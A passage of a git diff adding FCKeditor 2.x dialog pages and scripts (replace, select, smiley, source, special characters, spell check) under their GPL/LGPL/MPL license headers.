+                                                               <span fckLang="DlgCheckboxName">Name</span><br>
+                                                               <input type="text" size="20" id="txtName" style="WIDTH: 100%">
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgCheckboxValue">Value</span><br>
+                                                               <input type="text" size="20" id="txtValue" style="WIDTH: 100%">
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td><input type="checkbox" id="txtSelected"><label for="txtSelected" fckLang="DlgCheckboxSelected">Checked</label></td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_replace.html b/fckeditor/editor/dialog/fck_replace.html
new file mode 100755 (executable)
index 0000000..0812356
--- /dev/null
@@ -0,0 +1,161 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_replace.html
+ *     "Replace" dialog box window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             Abdul-Aziz A. Al-Oraij (aziz.oraij.com)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta content="noindex, nofollow" name="robots" />
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+function OnLoad()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage( document ) ;
+
+       window.parent.SetAutoSize( true ) ;
+
+       oEditor.FCKUndo.SaveUndoStep() ;
+}
+
+function btnStat(frm)
+{
+       document.getElementById('btnReplace').disabled = 
+               document.getElementById('btnReplaceAll').disabled = 
+                       ( document.getElementById('txtFind').value.length == 0 ) ;
+}
+
+function ReplaceTextNodes( parentNode, regex, replaceValue, replaceAll, hasFound )
+{
+       for ( var i = 0 ; i < parentNode.childNodes.length ; i++ )
+       {
+               var oNode = parentNode.childNodes[i] ;
+               if ( oNode.nodeType == 3 )
+               {
+                       var sReplaced = oNode.nodeValue.replace( regex, replaceValue ) ;
+                       if ( oNode.nodeValue != sReplaced )
+                       {
+                               oNode.nodeValue = sReplaced ;
+                               if ( ! replaceAll )
+                                       return true ;
+                               hasFound = true ;
+                       }
+               }
+
+               hasFound = ReplaceTextNodes( oNode, regex, replaceValue, replaceAll, hasFound ) ;
+               if ( ! replaceAll && hasFound )
+                       return true ;
+       }
+       
+       return hasFound ;
+}
+
+function GetRegexExpr()
+{
+       var sExpr = EscapeRegexString( document.getElementById('txtFind').value ) ;
+
+       if ( document.getElementById('chkWord').checked )
+               sExpr = '\\b' + sExpr + '\\b' ;
+
+       return sExpr ;
+}
+
+function GetCase() 
+{
+       return ( document.getElementById('chkCase').checked ? '' : 'i' ) ;
+}
+
+function GetReplacement()
+{
+       return document.getElementById('txtReplace').value.replace( /\$/g, '$$$$' ) ;
+}
+
+function EscapeRegexString( str )
+{
+       return str.replace( /[\\\^\$\*\+\?\{\}\.\(\)\!\|\[\]\-]/g, '\\$&' ) ;
+}
+
+function Replace()
+{
+       var oRegex = new RegExp( GetRegexExpr(), GetCase() ) ;
+       if ( !ReplaceTextNodes( oEditor.FCK.EditorDocument.body, oRegex, GetReplacement(), false, false ) )
+               alert( oEditor.FCKLang.DlgFindNotFoundMsg ) ;
+}
+
+function ReplaceAll()
+{
+       var oRegex = new RegExp( GetRegexExpr(), GetCase() + 'g' ) ;
+       if ( !ReplaceTextNodes( oEditor.FCK.EditorDocument.body, oRegex, GetReplacement(), true, false ) )
+               alert( oEditor.FCKLang.DlgFindNotFoundMsg ) ;
+       window.parent.Cancel() ;
+}
+       </script>
+</head>
+<body onload="OnLoad()" style="overflow: hidden">
+       <table cellspacing="3" cellpadding="2" width="100%" border="0">
+               <tr>
+                       <td nowrap="nowrap">
+                               <label for="txtFind" fcklang="DlgReplaceFindLbl">
+                                       Find what:</label>
+                       </td>
+                       <td width="100%">
+                               <input id="txtFind" onkeyup="btnStat(this.form)" style="width: 100%" tabindex="1"
+                                       type="text" />
+                       </td>
+                       <td>
+                               <input id="btnReplace" style="width: 100%" disabled="disabled" onclick="Replace();"
+                                       type="button" value="Replace" fcklang="DlgReplaceReplaceBtn" />
+                       </td>
+               </tr>
+               <tr>
+                       <td valign="top" nowrap="nowrap">
+                               <label for="txtReplace" fcklang="DlgReplaceReplaceLbl">
+                                       Replace with:</label>
+                       </td>
+                       <td valign="top">
+                               <input id="txtReplace" style="width: 100%" tabindex="2" type="text" />
+                       </td>
+                       <td>
+                               <input id="btnReplaceAll" disabled="disabled" onclick="ReplaceAll()" type="button"
+                                       value="Replace All" fcklang="DlgReplaceReplAllBtn" />
+                       </td>
+               </tr>
+               <tr>
+                       <td valign="bottom" colspan="3">
+                               &nbsp;<input id="chkCase" tabindex="3" type="checkbox" /><label for="chkCase" fcklang="DlgReplaceCaseChk">Match
+                                       case</label>
+                               <br />
+                               &nbsp;<input id="chkWord" tabindex="4" type="checkbox" /><label for="chkWord" fcklang="DlgReplaceWordChk">Match
+                                       whole word</label>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_select.html b/fckeditor/editor/dialog/fck_select.html
new file mode 100755 (executable)
index 0000000..37d641d
--- /dev/null
@@ -0,0 +1,180 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_select.html
+ *     Select dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Select Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script type="text/javascript" src="fck_select/fck_select.js"></script>
+               <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+var oListText ;
+var oListValue ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       oListText       = document.getElementById( 'cmbText' ) ;
+       oListValue      = document.getElementById( 'cmbValue' ) ;
+
+       if ( oActiveEl && oActiveEl.tagName == 'SELECT' )
+       {
+               GetE('txtName').value           = oActiveEl.name ;
+               GetE('txtSelValue').value       = oActiveEl.value ;
+               GetE('txtLines').value          = GetAttribute( oActiveEl, 'size' ) ;
+               GetE('chkMultiple').checked     = oActiveEl.multiple ;
+
+               // Load the actual options
+               for ( var i = 0 ; i < oActiveEl.options.length ; i++ )
+               {
+                       var sText       = oActiveEl.options[i].innerHTML ;
+                       var sValue      = oActiveEl.options[i].value ;
+
+                       AddComboOption( oListText, sText, sText ) ;
+                       AddComboOption( oListValue, sValue, sValue ) ;
+               }
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       var sSize = GetE('txtLines').value ;
+       if ( sSize == null || isNaN( sSize ) || sSize <= 1 )
+               sSize = '' ;
+
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'SELECT' ) ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+       }
+
+       SetAttribute( oActiveEl, 'name' , GetE('txtName').value ) ;
+       SetAttribute( oActiveEl, 'size' , sSize ) ;
+       oActiveEl.multiple = ( sSize.length > 0 && GetE('chkMultiple').checked ) ;
+
+       // Remove all options.
+       while ( oActiveEl.options.length > 0 )
+               oActiveEl.remove(0) ;
+
+       // Add all available options.
+       for ( var i = 0 ; i < oListText.options.length ; i++ )
+       {
+               var sText       = oListText.options[i].value ;
+               var sValue      = oListValue.options[i].value ;
+               if ( sValue.length == 0 ) sValue = sText ;
+
+               var oOption = AddComboOption( oActiveEl, sText, sValue, oDOM ) ;
+
+               if ( sValue == GetE('txtSelValue').value )
+               {
+                       SetAttribute( oOption, 'selected', 'selected' ) ;
+                       oOption.selected = true ;
+               }
+       }
+
+       return true ;
+}
+
+               </script>
+       </head>
+       <body style='OVERFLOW: hidden' scroll='no'>
+               <table width="100%" height="100%">
+                       <tr>
+                               <td>
+                                       <table width="100%">
+                                               <tr>
+                                                       <td nowrap><span fckLang="DlgSelectName">Name</span>&nbsp;</td>
+                                                       <td width="100%" colSpan="2"><input id="txtName" style="WIDTH: 100%" type="text"></td>
+                                               </tr>
+                                               <tr>
+                                                       <td nowrap><span fckLang="DlgSelectValue">Value</span>&nbsp;</td>
+                                                       <td width="100%" colSpan="2"><input id="txtSelValue" style="WIDTH: 100%; BACKGROUND-COLOR: buttonface" type="text" readonly></td>
+                                               </tr>
+                                               <tr>
+                                                       <td nowrap><span fckLang="DlgSelectSize">Size</span>&nbsp;</td>
+                                                       <td nowrap><input id="txtLines" type="text" size="2" value="">&nbsp;<span fckLang="DlgSelectLines">lines</span></td>
+                                                       <td nowrap align="right"><input id="chkMultiple" name="chkMultiple" type="checkbox"><label for="chkMultiple" fckLang="DlgSelectChkMulti">Allow
+                                                                       multiple selections</label></td>
+                                               </tr>
+                                       </table>
+                                       <br>
+                                       <hr style="POSITION: absolute">
+                                       <span style="LEFT: 10px; POSITION: relative; TOP: -7px" class="BackColor">&nbsp;<span fckLang="DlgSelectOpAvail">Available
+                                                       Options</span>&nbsp;</span>
+                                       <table width="100%">
+                                               <tr>
+                                                       <td width="50%"><span fckLang="DlgSelectOpText">Text</span><br>
+                                                               <input id="txtText" style="WIDTH: 100%" type="text" name="txtText">
+                                                       </td>
+                                                       <td width="50%"><span fckLang="DlgSelectOpValue">Value</span><br>
+                                                               <input id="txtValue" style="WIDTH: 100%" type="text" name="txtValue">
+                                                       </td>
+                                                       <td vAlign="bottom"><input onclick="Add();" type="button" fckLang="DlgSelectBtnAdd" value="Add"></td>
+                                                       <td vAlign="bottom"><input onclick="Modify();" type="button" fckLang="DlgSelectBtnModify" value="Modify"></td>
+                                               </tr>
+                                               <tr>
+                                                       <td rowSpan="2"><select id="cmbText" style="WIDTH: 100%" onchange="GetE('cmbValue').selectedIndex = this.selectedIndex;Select(this);"
+                                                                       size="5" name="cmbText"></select>
+                                                       </td>
+                                                       <td rowSpan="2"><select id="cmbValue" style="WIDTH: 100%" onchange="GetE('cmbText').selectedIndex = this.selectedIndex;Select(this);"
+                                                                       size="5" name="cmbValue"></select>
+                                                       </td>
+                                                       <td vAlign="top" colSpan="2">
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td vAlign="bottom" colSpan="2"><input style="WIDTH: 100%" onclick="Move(-1);" type="button" fckLang="DlgSelectBtnUp" value="Up">
+                                                               <br>
+                                                               <input style="WIDTH: 100%" onclick="Move(1);" type="button" fckLang="DlgSelectBtnDown"
+                                                                       value="Down">
+                                                       </td>
+                                               </tr>
+                                               <TR>
+                                                       <TD vAlign="bottom" colSpan="4"><INPUT onclick="SetSelectedValue();" type="button" fckLang="DlgSelectBtnSetValue" value="Set as selected value">&nbsp;&nbsp;
+                                                               <input onclick="Delete();" type="button" fckLang="DlgSelectBtnDelete" value="Delete"></TD>
+                                               </TR>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_select/fck_select.js b/fckeditor/editor/dialog/fck_select/fck_select.js
new file mode 100755 (executable)
index 0000000..fa8acb3
--- /dev/null
@@ -0,0 +1,173 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_select.js
+ *     Scripts for the fck_select.html page.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+function Select( combo )
+{
+       var iIndex = combo.selectedIndex ;
+
+       oListText.selectedIndex         = iIndex ;
+       oListValue.selectedIndex        = iIndex ;
+
+       var oTxtText    = document.getElementById( "txtText" ) ;
+       var oTxtValue   = document.getElementById( "txtValue" ) ;
+
+       oTxtText.value  = oListText.value ;
+       oTxtValue.value = oListValue.value ;
+}
+
+function Add()
+{
+       var oTxtText    = document.getElementById( "txtText" ) ;
+       var oTxtValue   = document.getElementById( "txtValue" ) ;
+
+       AddComboOption( oListText, oTxtText.value, oTxtText.value ) ;
+       AddComboOption( oListValue, oTxtValue.value, oTxtValue.value ) ;
+
+       oListText.selectedIndex = oListText.options.length - 1 ;
+       oListValue.selectedIndex = oListValue.options.length - 1 ;
+
+       oTxtText.value  = '' ;
+       oTxtValue.value = '' ;
+
+       oTxtText.focus() ;
+}
+
+function Modify()
+{
+       var iIndex = oListText.selectedIndex ;
+
+       if ( iIndex < 0 ) return ;
+
+       var oTxtText    = document.getElementById( "txtText" ) ;
+       var oTxtValue   = document.getElementById( "txtValue" ) ;
+
+       oListText.options[ iIndex ].innerHTML   = oTxtText.value ;
+       oListText.options[ iIndex ].value               = oTxtText.value ;
+
+       oListValue.options[ iIndex ].innerHTML  = oTxtValue.value ;
+       oListValue.options[ iIndex ].value              = oTxtValue.value ;
+
+       oTxtText.value  = '' ;
+       oTxtValue.value = '' ;
+
+       oTxtText.focus() ;
+}
+
+function Move( steps )
+{
+       ChangeOptionPosition( oListText, steps ) ;
+       ChangeOptionPosition( oListValue, steps ) ;
+}
+
+function Delete()
+{
+       RemoveSelectedOptions( oListText ) ;
+       RemoveSelectedOptions( oListValue ) ;
+}
+
+function SetSelectedValue()
+{
+       var iIndex = oListValue.selectedIndex ;
+       if ( iIndex < 0 ) return ;
+
+       var oTxtValue = document.getElementById( "txtSelValue" ) ;
+
+       oTxtValue.value = oListValue.options[ iIndex ].value ;
+}
+
+// Moves the selected option by a number of steps (also negative)
+function ChangeOptionPosition( combo, steps )
+{
+       var iActualIndex = combo.selectedIndex ;
+
+       if ( iActualIndex < 0 )
+               return ;
+
+       var iFinalIndex = iActualIndex + steps ;
+
+       if ( iFinalIndex < 0 )
+               iFinalIndex = 0 ;
+
+       if ( iFinalIndex > ( combo.options.length - 1 ) )
+               iFinalIndex = combo.options.length - 1 ;
+
+       if ( iActualIndex == iFinalIndex )
+               return ;
+
+       var oOption = combo.options[ iActualIndex ] ;
+       var sText       = oOption.innerHTML ;
+       var sValue      = oOption.value ;
+
+       combo.remove( iActualIndex ) ;
+
+       oOption = AddComboOption( combo, sText, sValue, null, iFinalIndex ) ;
+
+       oOption.selected = true ;
+}
+
+// Remove all selected options from a SELECT object
+function RemoveSelectedOptions(combo)
+{
+       // Save the selected index
+       var iSelectedIndex = combo.selectedIndex ;
+
+       var oOptions = combo.options ;
+
+       // Remove all selected options
+       for ( var i = oOptions.length - 1 ; i >= 0 ; i-- )
+       {
+               if (oOptions[i].selected) combo.remove(i) ;
+       }
+
+       // Reset the selection based on the original selected index
+       if ( combo.options.length > 0 )
+       {
+               if ( iSelectedIndex >= combo.options.length ) iSelectedIndex = combo.options.length - 1 ;
+               combo.selectedIndex = iSelectedIndex ;
+       }
+}
+
+// Add a new option to a SELECT object (combo or list)
+function AddComboOption( combo, optionText, optionValue, documentObject, index )
+{
+       var oOption ;
+
+       if ( documentObject )
+               oOption = documentObject.createElement("OPTION") ;
+       else
+               oOption = document.createElement("OPTION") ;
+
+       if ( index != null )
+               combo.options.add( oOption, index ) ;
+       else
+               combo.options.add( oOption ) ;
+
+       oOption.innerHTML = optionText.length > 0 ? optionText : '&nbsp;' ;
+       oOption.value     = optionValue ;
+
+       return oOption ;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/dialog/fck_smiley.html b/fckeditor/editor/dialog/fck_smiley.html
new file mode 100755 (executable)
index 0000000..e0fd131
--- /dev/null
@@ -0,0 +1,109 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_smiley.html
+ *     Smileys (emoticons) dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <style type="text/css">
+               .Hand
+               {
+                       cursor: pointer;
+                       cursor: hand;
+               }
+       </style>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+window.onload = function ()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+}
+
+function InsertSmiley( url )
+{
+       var oImg = oEditor.FCK.CreateElement( 'IMG' ) ;
+       oImg.src = url ;
+       oImg.setAttribute( '_fcksavedurl', url ) ;
+       
+       // For long smileys list, it seams that IE continues loading the images in
+       // the background when you quickly select one image. so, let's clear
+       // everything before closing.
+       document.body.innerHTML = '' ;
+
+       window.parent.Cancel() ;
+}
+
+function over(td)
+{
+       td.className = 'LightBackground Hand' ;
+}
+
+function out(td)
+{
+       td.className = 'DarkBackground Hand' ;
+}
+       </script>
+</head>
+<body scroll="no">
+       <table cellpadding="2" cellspacing="2" align="center" border="0" width="100%" height="100%">
+               <script type="text/javascript">
+
+var FCKConfig = oEditor.FCKConfig ;
+
+var sBasePath  = FCKConfig.SmileyPath ;
+var aImages            = FCKConfig.SmileyImages ;
+var iCols              = FCKConfig.SmileyColumns ;
+var iColWidth  = parseInt( 100 / iCols, 10 ) ;
+
+var i = 0 ;
+while (i < aImages.length)
+{
+       document.write( '<tr>' ) ;
+       for(var j = 0 ; j < iCols ; j++)
+       {
+               if (aImages[i])
+               {
+                       var sUrl = sBasePath + aImages[i] ;
+                       document.write( '<td width="' + iColWidth + '%" align="center" class="DarkBackground Hand" onclick="InsertSmiley(\'' + sUrl.replace(/'/g, "\\'" ) + '\')" onmouseover="over(this)" onmouseout="out(this)">' ) ;
+                       document.write( '<img src="' + sUrl + '" border="0" />' ) ;
+               }
+               else
+                       document.write( '<td width="' + iColWidth + '%" class="DarkBackground">&nbsp;' ) ;
+               document.write( '<\/td>' ) ;
+               i++ ;
+       }
+       document.write('<\/tr>') ;
+}
+
+               </script>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_source.html b/fckeditor/editor/dialog/fck_source.html
new file mode 100755 (executable)
index 0000000..4b0e169
--- /dev/null
@@ -0,0 +1,69 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_source.html
+ *     Source editor dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html>
+       <head>
+               <title>Source</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta name="robots" content="noindex, nofollow">
+               <link href="common/fck_dialog_common.css" rel="stylesheet" type="text/css" />
+               <script language="javascript">
+               
+var oEditor            = window.parent.InnerDialogLoaded() ;
+var FCK                        = oEditor.FCK ;
+var FCKConfig  = oEditor.FCKConfig ;
+
+window.onload = function()
+{
+       // EnableXHTML and EnableSourceXHTML has been deprecated
+//     document.getElementById('txtSource').value = ( FCKConfig.EnableXHTML && FCKConfig.EnableSourceXHTML ? FCK.GetXHTML( FCKConfig.FormatSource ) : FCK.GetHTML( FCKConfig.FormatSource ) ) ;
+       document.getElementById('txtSource').value = FCK.GetXHTML( FCKConfig.FormatSource ) ;
+
+       // Activate the "OK" button.
+       window.parent.SetOkButton( true ) ;
+}
+
+//#### The OK button was hit.
+function Ok()
+{
+       if ( oEditor.FCKBrowserInfo.IsIE )
+               oEditor.FCKUndo.SaveUndoStep() ;
+                       
+       FCK.SetHTML( document.getElementById('txtSource').value, false ) ;
+       
+       return true ;
+}
+               </script>
+       </head>
+       <body scroll="no" style="OVERFLOW: hidden">
+               <table width="100%" height="100%">
+                       <tr>
+                               <td height="100%"><textarea id="txtSource" dir="ltr" style="PADDING-RIGHT: 5px; PADDING-LEFT: 5px; FONT-SIZE: 14px; PADDING-BOTTOM: 5px; WIDTH: 100%; PADDING-TOP: 5px; FONT-FAMILY: Monospace; HEIGHT: 100%">Loading. Please wait...</textarea></td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_specialchar.html b/fckeditor/editor/dialog/fck_specialchar.html
new file mode 100755 (executable)
index 0000000..8d0795e
--- /dev/null
@@ -0,0 +1,117 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_specialchar.html
+ *     Special Chars Selector dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html>
+       <head>
+               <meta name="robots" content="noindex, nofollow">
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <style type="text/css">
+                               .Hand 
+                               { 
+                                       cursor: pointer ;
+                                       cursor: hand ; 
+                               }
+                               .Sample { font-size: 24px; }
+               </style>
+               <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+var oSample ;
+
+function insertChar(charValue)
+{
+       oEditor.FCK.InsertHtml( charValue || "" ) ;
+       window.parent.Cancel() ;
+}
+
+function over(td)
+{
+       oSample.innerHTML = td.innerHTML ;
+       td.className = 'LightBackground SpecialCharsOver Hand' ;
+}
+
+function out(td)
+{
+       oSample.innerHTML = "&nbsp;" ;
+       td.className = 'DarkBackground SpecialCharsOut Hand' ;
+}
+
+function setDefaults()
+{
+       // Gets the sample placeholder.
+       oSample = document.getElementById("SampleTD") ;
+
+       // First of all, translates the dialog box texts.
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+}
+
+               </script>
+       </HEAD>
+       <BODY onload="setDefaults()" scroll="no">
+               <table cellpadding="0" cellspacing="0" width="100%" height="100%">
+                       <tr>
+                               <td width="100%">
+                                       <table cellpadding="1" cellspacing="1" align="center" border="0" width="100%" height="100%">
+                                               <script type="text/javascript">
+var aChars = ["!","&quot;","#","$","%","&amp;","\\'","(",")","*","+","-",".","/","0","1","2","3","4","5","6","7","8","9",":",";","&lt;","=","&gt;","?","@","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","[","]","^","_","`","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","{","|","}","~","&euro;","&lsquo;","&rsquo;","&rsquo;","&ldquo;","&rdquo;","&ndash;","&mdash;","&iexcl;","&cent;","&pound;","&curren;","&yen;","&brvbar;","&sect;","&uml;","&copy;","&ordf;","&laquo;","&not;","&reg;","&macr;","&deg;","&plusmn;","&sup2;","&sup3;","&acute;","&micro;","&para;","&middot;","&cedil;","&sup1;","&ordm;","&raquo;","&frac14;","&frac12;","&frac34;","&iquest;","&Agrave;","&Aacute;","&Acirc;","&Atilde;","&Auml;","&Aring;","&AElig;","&Ccedil;","&Egrave;","&Eacute;","&Ecirc;","&Euml;","&Igrave;","&Iacute;","&Icirc;","&Iuml;","&ETH;","&Ntilde;","&Ograve;","&Oacute;","&Ocirc;","&Otilde;","&Ouml;","&times;","&Oslash;","&Ugrave;","&Uacute;","&Ucirc;","&Uuml;","&Yacute;","&THORN;","&szlig;","&agrave;","&aacute;","&acirc;","&atilde;","&auml;","&aring;","&aelig;","&ccedil;","&egrave;","&eacute;","&ecirc;","&euml;","&igrave;","&iacute;","&icirc;","&iuml;","&eth;","&ntilde;","&ograve;","&oacute;","&ocirc;","&otilde;","&ouml;","&divide;","&oslash;","&ugrave;","&uacute;","&ucirc;","&uuml;","&uuml;","&yacute;","&thorn;","&yuml;","&OElig;","&oelig;","&sbquo;","&#8219;","&bdquo;","&hellip;","&trade;","&#9658;","&bull;","&rarr;","&rArr;","&hArr;","&diams;","&asymp;"] ;
+
+var cols = 20 ;
+
+var i = 0 ;
+while (i < aChars.length)
+{
+       document.write("<TR>") ;
+       for(var j = 0 ; j < cols ; j++) 
+       {
+               if (aChars[i])
+               {
+                       document.write('<TD width="1%" class="DarkBackground SpecialCharsOut Hand" align="center" onclick="insertChar(\'' + aChars[i].replace(/&/g, "&amp;") + '\')" onmouseover="over(this)" onmouseout="out(this)">') ;
+                       document.write(aChars[i]) ;
+               }
+               else
+                       document.write("<TD class='DarkBackground SpecialCharsOut'>&nbsp;") ;
+               document.write("<\/TD>") ;
+               i++ ;
+       }
+       document.write("<\/TR>") ;
+}
+                                               </script>
+                                       </table>
+                               </td>
+                               <td nowrap>&nbsp;&nbsp;&nbsp;&nbsp;</td>
+                               <td valign="top">
+                                       <table width="40" cellpadding="0" cellspacing="0" border="0">
+                                               <tr>
+                                                       <td id="SampleTD" width="40" height="40" align="center" class="DarkBackground SpecialCharsOut Sample">&nbsp;</td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </BODY>
+</HTML>
\ No newline at end of file
diff --git a/fckeditor/editor/dialog/fck_spellerpages.html b/fckeditor/editor/dialog/fck_spellerpages.html
new file mode 100755 (executable)
index 0000000..c786f5c
--- /dev/null
@@ -0,0 +1,68 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_spellerpages.html
+ *     Spell Check dialog window.
+ * 
+ * File Authors:
